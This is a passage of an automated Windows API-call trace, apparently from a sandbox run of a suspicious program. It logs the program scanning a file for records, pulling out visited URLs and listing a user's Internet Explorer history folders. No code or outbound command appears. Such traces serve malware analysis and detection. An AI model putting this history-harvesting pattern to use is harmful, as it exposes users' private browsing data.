[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.664] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.664] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
[0079.664] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.664] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/"
[0079.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23
[0079.665] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
[0079.665] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.665] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.665] SetFilePointer (in: hFile=0xa0, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
[0079.665] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.665] _strlwr (in: _Str="http://google.com" | out: _Str="http://google.com") returned="http://google.com"
[0079.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://google.com") returned 18
[0079.665] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
[0079.665] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.665] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.665] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
[0079.665] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.665] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/"
[0079.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23
[0079.665] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
[0079.665] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.665] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.665] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380
[0079.665] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.665] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.665] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
[0079.665] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.665] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.666] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880
[0079.666] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.666] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
[0079.667] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.667] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.667] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80
[0079.668] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.668] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.668] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
[0079.668] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.668] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.668] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80
[0079.668] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.668] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.668] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
[0079.668] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.668] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.668] SetFilePointer (in: hFile=0xa0, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80
[0079.668] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.668] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.668] CloseHandle (hObject=0xa0) returned 1
[0079.668] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 1
[0079.668] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.668] wcslen (_String="MSHist012017070520170706") returned 0x18
[0079.668] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
[0079.668] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.668] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
[0079.668] wcscat (in: _Dest=0x129164, _Source="MSHist012017070520170706" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706"
[0079.668] wcscmp (_String1="MSHist012017070520170706", _String2="..") returned 1
[0079.668] wcscmp (_String1="MSHist012017070520170706", _String2=".") returned 1
[0079.668] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.668] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.668] wcslen (_String="*.*") returned 0x3
[0079.668] wcscpy (in: _Dest=0x128290, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706"
[0079.668] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.669] wcscat (in: _Dest=0x128290, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\"
[0079.669] wcscat (in: _Dest=0x128290, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\*.*"
